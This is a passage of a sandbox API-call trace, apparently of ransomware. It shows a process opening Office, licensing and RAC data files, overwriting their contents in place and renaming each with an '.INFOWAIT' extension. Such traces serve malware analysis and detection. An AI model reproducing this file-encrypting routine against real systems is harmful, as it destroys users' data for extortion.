lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0129.784] CloseHandle (hObject=0xad4) returned 1 [0129.785] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" [0129.785] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll.INFOWAIT" [0129.785] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLINTL32.REST.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlintl32.rest.trx_dll.infowait")) returned 1 [0129.785] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.786] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.787] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.787] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0129.787] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3960 [0129.787] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.787] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.787] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3960, lpOverlapped=0x0) returned 1 [0129.923] VirtualAlloc (lpAddress=0x0, dwSize=0x3960, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0129.924] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.924] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3960, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3960, lpOverlapped=0x0) returned 1 [0129.924] CloseHandle (hObject=0xad4) returned 1 [0129.925] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" [0129.925] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll.INFOWAIT" [0129.925] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\3082\\XLSLICER.DLL.trx_dll.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\3082\\xlslicer.dll.trx_dll.infowait")) returned 1 [0129.925] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.926] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.927] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.927] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0129.929] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x36be0 [0129.929] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.930] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.930] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0129.932] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0129.942] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.943] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0129.943] CloseHandle (hObject=0xad4) returned 1 [0129.943] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" [0129.943] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.INFOWAIT" [0129.943] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\Cache\\cache.dat.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\cache\\cache.dat.infowait")) returned 1 [0129.949] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.950] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0129.951] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0129.952] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0129.954] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x469bd5 [0129.954] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0129.954] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0129.954] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0130.192] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0130.202] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.202] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0130.202] CloseHandle (hObject=0xad0) returned 1 [0130.202] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" [0130.202] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.INFOWAIT" [0130.203] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OfficeSoftwareProtectionPlatform\\tokens.dat.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\officesoftwareprotectionplatform\\tokens.dat.infowait")) returned 1 [0130.203] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.204] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.205] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.205] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.205] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x25000 [0130.205] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.205] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.205] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25000, lpOverlapped=0x0) returned 1 [0130.209] VirtualAlloc (lpAddress=0x0, dwSize=0x25000, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0130.219] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.219] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25000, lpOverlapped=0x0) returned 1 [0130.219] CloseHandle (hObject=0xad0) returned 1 [0130.219] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" [0130.219] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.INFOWAIT" [0130.219] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\rac\\publisheddata\\racwmidatabase.sdf.infowait")) returned 1 [0130.220] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.221] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.221] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.222] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.222] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85000 [0130.222] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.222] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.222] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0130.356] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0130.366] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.366] WriteFile (in: hFile=0xad0, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0130.366] CloseHandle (hObject=0xad0) returned 1 [0130.366] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" [0130.366] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.INFOWAIT" [0130.366] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racdatabase.sdf.infowait")) returned 1 [0130.367] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.368] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.369] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.369] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.369] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8 [0130.369] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.369] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.369] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x8, lpOverlapped=0x0) returned 1 [0130.370] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.371] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.371] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x8, lpOverlapped=0x0) returned 1 [0130.371] CloseHandle (hObject=0xad0) returned 1 [0130.371] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" [0130.371] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat.INFOWAIT" [0130.371] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacMetaData.dat.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racmetadata.dat.infowait")) returned 1 [0130.371] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.372] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.372] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.372] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.373] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x401c [0130.373] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.374] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.374] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x401c, lpOverlapped=0x0) returned 1 [0130.375] VirtualAlloc (lpAddress=0x0, dwSize=0x401c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.377] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.377] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x401c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x401c, lpOverlapped=0x0) returned 1 [0130.377] CloseHandle (hObject=0xad0) returned 1 [0130.377] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat" [0130.377] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat.INFOWAIT" [0130.377] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiDataBookmarks.dat.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmidatabookmarks.dat.infowait")) returned 1 [0130.377] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.378] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.379] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.379] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmieventdata.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0130.379] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x401c [0130.379] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0130.379] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.379] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x401c, lpOverlapped=0x0) returned 1 [0130.382] VirtualAlloc (lpAddress=0x0, dwSize=0x401c, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0130.383] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.383] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x401c, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x401c, lpOverlapped=0x0) returned 1 [0130.383] CloseHandle (hObject=0xad0) returned 1 [0130.383] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat" [0130.383] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat.INFOWAIT" [0130.383] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmieventdata.dat"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacWmiEventData.dat.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\rac\\statedata\\racwmieventdata.dat.infowait")) returned 1 [0130.384] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.385] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.385] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0130.385] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" (normalized: "c:\\users\\all 